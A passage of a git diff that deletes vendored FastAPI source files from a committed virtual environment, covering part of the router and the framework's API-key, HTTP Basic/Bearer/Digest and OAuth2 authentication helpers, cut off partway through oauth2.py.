- ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP TRACE operation. - - ## Example - - ```python - from fastapi import APIRouter, FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - router = APIRouter() - - @router.trace("/items/{item_id}") - def trace_item(item_id: str): - return None - - app.include_router(router) - ``` - """ - return self.api_route( - path=path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - methods=["TRACE"], - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - # TODO: remove this once the lifespan (or alternative) interface is improved - async def _startup(self) -> None: - """ - Run any `.on_startup` event handlers. - - This method is kept for backward compatibility after Starlette removed - support for on_startup/on_shutdown handlers. - - Ref: https://github.com/Kludex/starlette/pull/3117 - """ - for handler in self.on_startup: - if is_async_callable(handler): - await handler() - else: - handler() - - # TODO: remove this once the lifespan (or alternative) interface is improved - async def _shutdown(self) -> None: - """ - Run any `.on_shutdown` event handlers. - - This method is kept for backward compatibility after Starlette removed - support for on_startup/on_shutdown handlers. - - Ref: https://github.com/Kludex/starlette/pull/3117 - """ - for handler in self.on_shutdown: - if is_async_callable(handler): - await handler() - else: - handler() - - # TODO: remove this once the lifespan (or alternative) interface is improved - def add_event_handler( - self, - event_type: str, - func: Callable[[], Any], - ) -> None: - """ - Add an event handler function for startup or shutdown. - - This method is kept for backward compatibility after Starlette removed - support for on_startup/on_shutdown handlers. - - Ref: https://github.com/Kludex/starlette/pull/3117 - """ - assert event_type in ("startup", "shutdown") - if event_type == "startup": - self.on_startup.append(func) - else: - self.on_shutdown.append(func) - - @deprecated( - """ - on_event is deprecated, use lifespan event handlers instead. - - Read more about it in the - [FastAPI docs for Lifespan Events](https://fastapi.tiangolo.com/advanced/events/). - """ - ) - def on_event( - self, - event_type: Annotated[ - str, - Doc( - """ - The type of event. `startup` or `shutdown`. - """ - ), - ], - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add an event handler for the router. - - `on_event` is deprecated, use `lifespan` event handlers instead. - - Read more about it in the - [FastAPI docs for Lifespan Events](https://fastapi.tiangolo.com/advanced/events/#alternative-events-deprecated). - """ - - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_event_handler(event_type, func) - return func - - return decorator diff --git a/venv/Lib/site-packages/fastapi/security/__init__.py b/venv/Lib/site-packages/fastapi/security/__init__.py deleted file mode 100644 index 3aa6bf21e44f3069adb94242fbba5c8160532a1c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/__init__.py +++ /dev/null @@ -1,15 +0,0 @@ -from .api_key import APIKeyCookie as APIKeyCookie -from .api_key import APIKeyHeader as APIKeyHeader -from .api_key import APIKeyQuery as APIKeyQuery -from .http import HTTPAuthorizationCredentials as HTTPAuthorizationCredentials -from .http import HTTPBasic as HTTPBasic -from .http import HTTPBasicCredentials as HTTPBasicCredentials -from .http import HTTPBearer as HTTPBearer -from .http import HTTPDigest as HTTPDigest -from .oauth2 import OAuth2 as OAuth2 -from .oauth2 import OAuth2AuthorizationCodeBearer as OAuth2AuthorizationCodeBearer -from .oauth2 import OAuth2PasswordBearer as OAuth2PasswordBearer -from .oauth2 import OAuth2PasswordRequestForm as OAuth2PasswordRequestForm -from .oauth2 import OAuth2PasswordRequestFormStrict as OAuth2PasswordRequestFormStrict -from .oauth2 import SecurityScopes as SecurityScopes -from .open_id_connect_url import OpenIdConnect as OpenIdConnect diff --git a/venv/Lib/site-packages/fastapi/security/api_key.py b/venv/Lib/site-packages/fastapi/security/api_key.py deleted file mode 100644 index 83a4585a08cf43b367152dad06ce685f883ba940..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/api_key.py +++ /dev/null @@ -1,320 +0,0 @@ -from typing import Annotated - -from annotated_doc import Doc -from fastapi.openapi.models import APIKey, APIKeyIn -from fastapi.security.base import SecurityBase -from starlette.exceptions import HTTPException -from starlette.requests import Request -from starlette.status import HTTP_401_UNAUTHORIZED - - -class APIKeyBase(SecurityBase): - model: APIKey - - def __init__( - self, - location: APIKeyIn, - name: str, - description: str | None, - scheme_name: str | None, - auto_error: bool, - ): - self.auto_error = auto_error - - self.model: APIKey = APIKey( - **{"in": location}, # ty: ignore[invalid-argument-type] - name=name, - description=description, - ) - self.scheme_name = scheme_name or self.__class__.__name__ - - def make_not_authenticated_error(self) -> HTTPException: - """ - The WWW-Authenticate header is not standardized for API Key authentication but - the HTTP specification requires that an error of 401 "Unauthorized" must - include a WWW-Authenticate header. - - Ref: https://datatracker.ietf.org/doc/html/rfc9110#name-401-unauthorized - - For this, this method sends a custom challenge `APIKey`. - """ - return HTTPException( - status_code=HTTP_401_UNAUTHORIZED, - detail="Not authenticated", - headers={"WWW-Authenticate": "APIKey"}, - ) - - def check_api_key(self, api_key: str | None) -> str | None: - if not api_key: - if self.auto_error: - raise self.make_not_authenticated_error() - return None - return api_key - - -class APIKeyQuery(APIKeyBase): - """ - API key authentication using a query parameter. - - This defines the name of the query parameter that should be provided in the request - with the API key and integrates that into the OpenAPI documentation. It extracts - the key value sent in the query parameter automatically and provides it as the - dependency result. But it doesn't define how to send that API key to the client. - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be a string containing the key value. - - ## Example - - ```python - from fastapi import Depends, FastAPI - from fastapi.security import APIKeyQuery - - app = FastAPI() - - query_scheme = APIKeyQuery(name="api_key") - - - @app.get("/items/") - async def read_items(api_key: str = Depends(query_scheme)): - return {"api_key": api_key} - ``` - """ - - def __init__( - self, - *, - name: Annotated[ - str, - Doc("Query parameter name."), - ], - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the query parameter is not provided, `APIKeyQuery` will - automatically cancel the request and send the client an error. - - If `auto_error` is set to `False`, when the query parameter is not - available, instead of erroring out, the dependency result will be - `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in a query - parameter or in an HTTP Bearer token). - """ - ), - ] = True, - ): - super().__init__( - location=APIKeyIn.query, - name=name, - scheme_name=scheme_name, - description=description, - auto_error=auto_error, - ) - - async def __call__(self, request: Request) -> str | None: - api_key = request.query_params.get(self.model.name) - return self.check_api_key(api_key) - - -class APIKeyHeader(APIKeyBase): - """ - API key authentication using a header. - - This defines the name of the header that should be provided in the request with - the API key and integrates that into the OpenAPI documentation. It extracts - the key value sent in the header automatically and provides it as the dependency - result. But it doesn't define how to send that key to the client. - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be a string containing the key value. - - ## Example - - ```python - from fastapi import Depends, FastAPI - from fastapi.security import APIKeyHeader - - app = FastAPI() - - header_scheme = APIKeyHeader(name="x-key") - - - @app.get("/items/") - async def read_items(key: str = Depends(header_scheme)): - return {"key": key} - ``` - """ - - def __init__( - self, - *, - name: Annotated[str, Doc("Header name.")], - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the header is not provided, `APIKeyHeader` will - automatically cancel the request and send the client an error. - - If `auto_error` is set to `False`, when the header is not available, - instead of erroring out, the dependency result will be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in a header or - in an HTTP Bearer token). - """ - ), - ] = True, - ): - super().__init__( - location=APIKeyIn.header, - name=name, - scheme_name=scheme_name, - description=description, - auto_error=auto_error, - ) - - async def __call__(self, request: Request) -> str | None: - api_key = request.headers.get(self.model.name) - return self.check_api_key(api_key) - - -class APIKeyCookie(APIKeyBase): - """ - API key authentication using a cookie. - - This defines the name of the cookie that should be provided in the request with - the API key and integrates that into the OpenAPI documentation. It extracts - the key value sent in the cookie automatically and provides it as the dependency - result. But it doesn't define how to set that cookie. - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be a string containing the key value. - - ## Example - - ```python - from fastapi import Depends, FastAPI - from fastapi.security import APIKeyCookie - - app = FastAPI() - - cookie_scheme = APIKeyCookie(name="session") - - - @app.get("/items/") - async def read_items(session: str = Depends(cookie_scheme)): - return {"session": session} - ``` - """ - - def __init__( - self, - *, - name: Annotated[str, Doc("Cookie name.")], - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the cookie is not provided, `APIKeyCookie` will - automatically cancel the request and send the client an error. - - If `auto_error` is set to `False`, when the cookie is not available, - instead of erroring out, the dependency result will be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in a cookie or - in an HTTP Bearer token). - """ - ), - ] = True, - ): - super().__init__( - location=APIKeyIn.cookie, - name=name, - scheme_name=scheme_name, - description=description, - auto_error=auto_error, - ) - - async def __call__(self, request: Request) -> str | None: - api_key = request.cookies.get(self.model.name) - return self.check_api_key(api_key) diff --git a/venv/Lib/site-packages/fastapi/security/base.py b/venv/Lib/site-packages/fastapi/security/base.py deleted file mode 100644 index c43555deb8ea83b14241a5631c9ea451c96f6e7f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/base.py +++ /dev/null @@ -1,6 +0,0 @@ -from fastapi.openapi.models import SecurityBase as SecurityBaseModel - - -class SecurityBase: - model: SecurityBaseModel - scheme_name: str diff --git a/venv/Lib/site-packages/fastapi/security/http.py b/venv/Lib/site-packages/fastapi/security/http.py deleted file mode 100644 index a32948ef0a0ec61d60d50229038d965ee815d60a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/http.py +++ /dev/null @@ -1,417 +0,0 @@ -import binascii -from base64 import b64decode -from typing import Annotated - -from annotated_doc import Doc -from fastapi.exceptions import HTTPException -from fastapi.openapi.models import HTTPBase as HTTPBaseModel -from fastapi.openapi.models import HTTPBearer as HTTPBearerModel -from fastapi.security.base import SecurityBase -from fastapi.security.utils import get_authorization_scheme_param -from pydantic import BaseModel -from starlette.requests import Request -from starlette.status import HTTP_401_UNAUTHORIZED - - -class HTTPBasicCredentials(BaseModel): - """ - The HTTP Basic credentials given as the result of using `HTTPBasic` in a - dependency. - - Read more about it in the - [FastAPI docs for HTTP Basic Auth](https://fastapi.tiangolo.com/advanced/security/http-basic-auth/). - """ - - username: Annotated[str, Doc("The HTTP Basic username.")] - password: Annotated[str, Doc("The HTTP Basic password.")] - - -class HTTPAuthorizationCredentials(BaseModel): - """ - The HTTP authorization credentials in the result of using `HTTPBearer` or - `HTTPDigest` in a dependency. - - The HTTP authorization header value is split by the first space. - - The first part is the `scheme`, the second part is the `credentials`. - - For example, in an HTTP Bearer token scheme, the client will send a header - like: - - ``` - Authorization: Bearer deadbeef12346 - ``` - - In this case: - - * `scheme` will have the value `"Bearer"` - * `credentials` will have the value `"deadbeef12346"` - """ - - scheme: Annotated[ - str, - Doc( - """ - The HTTP authorization scheme extracted from the header value. - """ - ), - ] - credentials: Annotated[ - str, - Doc( - """ - The HTTP authorization credentials extracted from the header value. - """ - ), - ] - - -class HTTPBase(SecurityBase): - model: HTTPBaseModel - - def __init__( - self, - *, - scheme: str, - scheme_name: str | None = None, - description: str | None = None, - auto_error: bool = True, - ): - self.model = HTTPBaseModel(scheme=scheme, description=description) - self.scheme_name = scheme_name or self.__class__.__name__ - self.auto_error = auto_error - - def make_authenticate_headers(self) -> dict[str, str]: - return {"WWW-Authenticate": f"{self.model.scheme.title()}"} - - def make_not_authenticated_error(self) -> HTTPException: - return HTTPException( - status_code=HTTP_401_UNAUTHORIZED, - detail="Not authenticated", - headers=self.make_authenticate_headers(), - ) - - async def __call__(self, request: Request) -> HTTPAuthorizationCredentials | None: - authorization = request.headers.get("Authorization") - scheme, credentials = get_authorization_scheme_param(authorization) - if not (authorization and scheme and credentials): - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return HTTPAuthorizationCredentials(scheme=scheme, credentials=credentials) - - -class HTTPBasic(HTTPBase): - """ - HTTP Basic authentication. - - Ref: https://datatracker.ietf.org/doc/html/rfc7617 - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be an `HTTPBasicCredentials` object containing the - `username` and the `password`. - - Read more about it in the - [FastAPI docs for HTTP Basic Auth](https://fastapi.tiangolo.com/advanced/security/http-basic-auth/). - - ## Example - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - from fastapi.security import HTTPBasic, HTTPBasicCredentials - - app = FastAPI() - - security = HTTPBasic() - - - @app.get("/users/me") - def read_current_user(credentials: Annotated[HTTPBasicCredentials, Depends(security)]): - return {"username": credentials.username, "password": credentials.password} - ``` - """ - - def __init__( - self, - *, - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - realm: Annotated[ - str | None, - Doc( - """ - HTTP Basic authentication realm. - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the HTTP Basic authentication is not provided (a - header), `HTTPBasic` will automatically cancel the request and send the - client an error. - - If `auto_error` is set to `False`, when the HTTP Basic authentication - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in HTTP Basic - authentication or in an HTTP Bearer token). - """ - ), - ] = True, - ): - self.model = HTTPBaseModel(scheme="basic", description=description) - self.scheme_name = scheme_name or self.__class__.__name__ - self.realm = realm - self.auto_error = auto_error - - def make_authenticate_headers(self) -> dict[str, str]: - if self.realm: - return {"WWW-Authenticate": f'Basic realm="{self.realm}"'} - return {"WWW-Authenticate": "Basic"} - - async def __call__( # type: ignore - self, request: Request - ) -> HTTPBasicCredentials | None: - authorization = request.headers.get("Authorization") - scheme, param = get_authorization_scheme_param(authorization) - if not authorization or scheme.lower() != "basic": - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - try: - data = b64decode(param).decode("ascii") - except (ValueError, UnicodeDecodeError, binascii.Error) as e: - raise self.make_not_authenticated_error() from e - username, separator, password = data.partition(":") - if not separator: - raise self.make_not_authenticated_error() - return HTTPBasicCredentials(username=username, password=password) - - -class HTTPBearer(HTTPBase): - """ - HTTP Bearer token authentication. - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be an `HTTPAuthorizationCredentials` object containing - the `scheme` and the `credentials`. - - ## Example - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - from fastapi.security import HTTPAuthorizationCredentials, HTTPBearer - - app = FastAPI() - - security = HTTPBearer() - - - @app.get("/users/me") - def read_current_user( - credentials: Annotated[HTTPAuthorizationCredentials, Depends(security)] - ): - return {"scheme": credentials.scheme, "credentials": credentials.credentials} - ``` - """ - - def __init__( - self, - *, - bearerFormat: Annotated[str | None, Doc("Bearer token format.")] = None, - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the HTTP Bearer token is not provided (in an - `Authorization` header), `HTTPBearer` will automatically cancel the - request and send the client an error. - - If `auto_error` is set to `False`, when the HTTP Bearer token - is not available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in an HTTP - Bearer token or in a cookie). - """ - ), - ] = True, - ): - self.model = HTTPBearerModel(bearerFormat=bearerFormat, description=description) - self.scheme_name = scheme_name or self.__class__.__name__ - self.auto_error = auto_error - - async def __call__(self, request: Request) -> HTTPAuthorizationCredentials | None: - authorization = request.headers.get("Authorization") - scheme, credentials = get_authorization_scheme_param(authorization) - if not (authorization and scheme and credentials): - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - if scheme.lower() != "bearer": - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return HTTPAuthorizationCredentials(scheme=scheme, credentials=credentials) - - -class HTTPDigest(HTTPBase): - """ - HTTP Digest authentication. - - **Warning**: this is only a stub to connect the components with OpenAPI in FastAPI, - but it doesn't implement the full Digest scheme, you would need to subclass it - and implement it in your code. - - Ref: https://datatracker.ietf.org/doc/html/rfc7616 - - ## Usage - - Create an instance object and use that object as the dependency in `Depends()`. - - The dependency result will be an `HTTPAuthorizationCredentials` object containing - the `scheme` and the `credentials`. - - ## Example - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - from fastapi.security import HTTPAuthorizationCredentials, HTTPDigest - - app = FastAPI() - - security = HTTPDigest() - - - @app.get("/users/me") - def read_current_user( - credentials: Annotated[HTTPAuthorizationCredentials, Depends(security)] - ): - return {"scheme": credentials.scheme, "credentials": credentials.credentials} - ``` - """ - - def __init__( - self, - *, - scheme_name: Annotated[ - str | None, - Doc( - """ - Security scheme name. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Security scheme description. - - It will be included in the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - auto_error: Annotated[ - bool, - Doc( - """ - By default, if the HTTP Digest is not provided, `HTTPDigest` will - automatically cancel the request and send the client an error. - - If `auto_error` is set to `False`, when the HTTP Digest is not - available, instead of erroring out, the dependency result will - be `None`. - - This is useful when you want to have optional authentication. - - It is also useful when you want to have authentication that can be - provided in one of multiple optional ways (for example, in HTTP - Digest or in a cookie). - """ - ), - ] = True, - ): - self.model = HTTPBaseModel(scheme="digest", description=description) - self.scheme_name = scheme_name or self.__class__.__name__ - self.auto_error = auto_error - - async def __call__(self, request: Request) -> HTTPAuthorizationCredentials | None: - authorization = request.headers.get("Authorization") - scheme, credentials = get_authorization_scheme_param(authorization) - if not (authorization and scheme and credentials): - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - if scheme.lower() != "digest": - if self.auto_error: - raise self.make_not_authenticated_error() - else: - return None - return HTTPAuthorizationCredentials(scheme=scheme, credentials=credentials) diff --git a/venv/Lib/site-packages/fastapi/security/oauth2.py b/venv/Lib/site-packages/fastapi/security/oauth2.py deleted file mode 100644 index 3fd9e41eb320b589ea680b313e1375d145b7085e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/security/oauth2.py +++ /dev/null @@ -1,693 +0,0 @@ -from typing import Annotated, Any, cast - -from annotated_doc import Doc -from fastapi.exceptions import HTTPException -from fastapi.openapi.models import OAuth2 as OAuth2Model -from fastapi.openapi.models import OAuthFlows as OAuthFlowsModel -from fastapi.param_functions import Form -from fastapi.security.base import SecurityBase -from fastapi.security.utils import get_authorization_scheme_param -from starlette.requests import Request -from starlette.status import HTTP_401_UNAUTHORIZED - - -class OAuth2PasswordRequestForm: - """ - This is a dependency class to collect the `username` and `password` as form data - for an OAuth2 password flow. - - The OAuth2 specification dictates that for a password flow the data should be - collected using form data (instead of JSON) and that it should have the specific - fields `username` and `password`. - - All the initialization parameters are extracted from the request. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - - ## Example - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - from fastapi.security import OAuth2PasswordRequestForm - - app = FastAPI() - - - @app.post("/login") - def login(form_data: Annotated[OAuth2PasswordRequestForm, Depends()]): - data = {} - data["scopes"] = [] - for scope in form_data.scopes: - data["scopes"].append(scope) - if form_data.client_id: - data["client_id"] = form_data.client_id - if form_data.client_secret: - data["client_secret"] = form_data.client_secret - return data - ``` - - Note that for OAuth2 the scope `items:read` is a single scope in an opaque string. - You could have custom internal logic to separate it by colon characters (`:`) or - similar, and get the two parts `items` and `read`. Many applications do that to - group and organize permissions, you could do it as well in your application, just - know that it is application specific, it's not part of the specification. - """ - - def __init__( - self, - *, - grant_type: Annotated[ - str | None, - Form(pattern="^password$"), - Doc( - """ - The OAuth2 spec says it is required and MUST be the fixed string - "password". Nevertheless, this dependency class is permissive and - allows not passing it. If you want to enforce it, use instead the - `OAuth2PasswordRequestFormStrict` dependency. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ] = None, - username: Annotated[ - str, - Form(), - Doc( - """ - `username` string. The OAuth2 spec requires the exact field name - `username`. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - password: Annotated[ - str, - Form(json_schema_extra={"format": "password"}), - Doc( - """ - `password` string. The OAuth2 spec requires the exact field name - `password`. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - scope: Annotated[ - str, - Form(), - Doc( - """ - A single string with actually several scopes separated by spaces. Each - scope is also a string. - - For example, a single string with: - - ```python - "items:read items:write users:read profile openid" - ```` - - would represent the scopes: - - * `items:read` - * `items:write` - * `users:read` - * `profile` - * `openid` - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ] = "", - client_id: Annotated[ - str | None, - Form(), - Doc( - """ - If there's a `client_id`, it can be sent as part of the form fields. - But the OAuth2 specification recommends sending the `client_id` and - `client_secret` (if any) using HTTP Basic auth. - """ - ), - ] = None, - client_secret: Annotated[ - str | None, - Form(json_schema_extra={"format": "password"}), - Doc( - """ - If there's a `client_secret` (and a `client_id`), they can be sent - as part of the form fields. But the OAuth2 specification recommends - sending the `client_id` and `client_secret` (if any) using HTTP Basic - auth. - """ - ), - ] = None, - ): - self.grant_type = grant_type - self.username = username - self.password = password - self.scopes = scope.split() - self.client_id = client_id - self.client_secret = client_secret - - -class OAuth2PasswordRequestFormStrict(OAuth2PasswordRequestForm): - """ - This is a dependency class to collect the `username` and `password` as form data - for an OAuth2 password flow. - - The OAuth2 specification dictates that for a password flow the data should be - collected using form data (instead of JSON) and that it should have the specific - fields `username` and `password`. - - All the initialization parameters are extracted from the request. - - The only difference between `OAuth2PasswordRequestFormStrict` and - `OAuth2PasswordRequestForm` is that `OAuth2PasswordRequestFormStrict` requires the - client to send the form field `grant_type` with the value `"password"`, which - is required in the OAuth2 specification (it seems that for no particular reason), - while for `OAuth2PasswordRequestForm` `grant_type` is optional. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - - ## Example - - ```python - from typing import Annotated - - from fastapi import Depends, FastAPI - from fastapi.security import OAuth2PasswordRequestForm - - app = FastAPI() - - - @app.post("/login") - def login(form_data: Annotated[OAuth2PasswordRequestFormStrict, Depends()]): - data = {} - data["scopes"] = [] - for scope in form_data.scopes: - data["scopes"].append(scope) - if form_data.client_id: - data["client_id"] = form_data.client_id - if form_data.client_secret: - data["client_secret"] = form_data.client_secret - return data - ``` - - Note that for OAuth2 the scope `items:read` is a single scope in an opaque string. - You could have custom internal logic to separate it by colon characters (`:`) or - similar, and get the two parts `items` and `read`. Many applications do that to - group and organize permissions, you could do it as well in your application, just - know that it is application specific, it's not part of the specification. - - - grant_type: the OAuth2 spec says it is required and MUST be the fixed string "password". - This dependency is strict about it. If you want to be permissive, use instead the - OAuth2PasswordRequestForm dependency class. - username: username string. The OAuth2 spec requires the exact field name "username". - password: password string. The OAuth2 spec requires the exact field name "password". - scope: Optional string. Several scopes (each one a string) separated by spaces. E.g. - "items:read items:write users:read profile openid" - client_id: optional string. OAuth2 recommends sending the client_id and client_secret (if any) - using HTTP Basic auth, as: client_id:client_secret - client_secret: optional string. OAuth2 recommends sending the client_id and client_secret (if any) - using HTTP Basic auth, as: client_id:client_secret - """ - - def __init__( - self, - grant_type: Annotated[ - str, - Form(pattern="^password$"), - Doc( - """ - The OAuth2 spec says it is required and MUST be the fixed string - "password". This dependency is strict about it. If you want to be - permissive, use instead the `OAuth2PasswordRequestForm` dependency - class. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - username: Annotated[ - str, - Form(), - Doc( - """ - `username` string. The OAuth2 spec requires the exact field name - `username`. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - password: Annotated[ - str, - Form(), - Doc( - """ - `password` string. The OAuth2 spec requires the exact field name - `password`. - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ], - scope: Annotated[ - str, - Form(), - Doc( - """ - A single string with actually several scopes separated by spaces. Each - scope is also a string. - - For example, a single string with: - - ```python - "items:read items:write users:read profile openid" - ```` - - would represent the scopes: - - * `items:read` - * `items:write` - * `users:read` - * `profile` - * `openid` - - Read more about it in the - [FastAPI docs for Simple OAuth2 with Password and Bearer](https://fastapi.tiangolo.com/tutorial/security/simple-oauth2/). - """ - ), - ] = "", - client_id: Annotated[ - str | None, - Form(), - Doc( - """ - If there's a `client_id`, it can be sent as part of the form fields. - But the OAuth2 specification recommends sending the `client_id` and - `client_secret` (if any) using HTTP Basic auth. - """ - ), - ] = None, - client_secret: Annotated[ - str | None, - Form(), - Doc( - """ - If there's a `client_secret` (and a `client_id`), they can be sent - as part of the form fields. But the OAuth2 specification recommends - sending the `client_id` and `client_secret` (if any) using HTTP Basic - auth. - """ - ), - ] = None, - ): - super().__init__( - grant_type=grant_type, - username=username, - password=password, - scope=scope, - client_id=client_id, - client_secret=client_secret, - ) - - -class 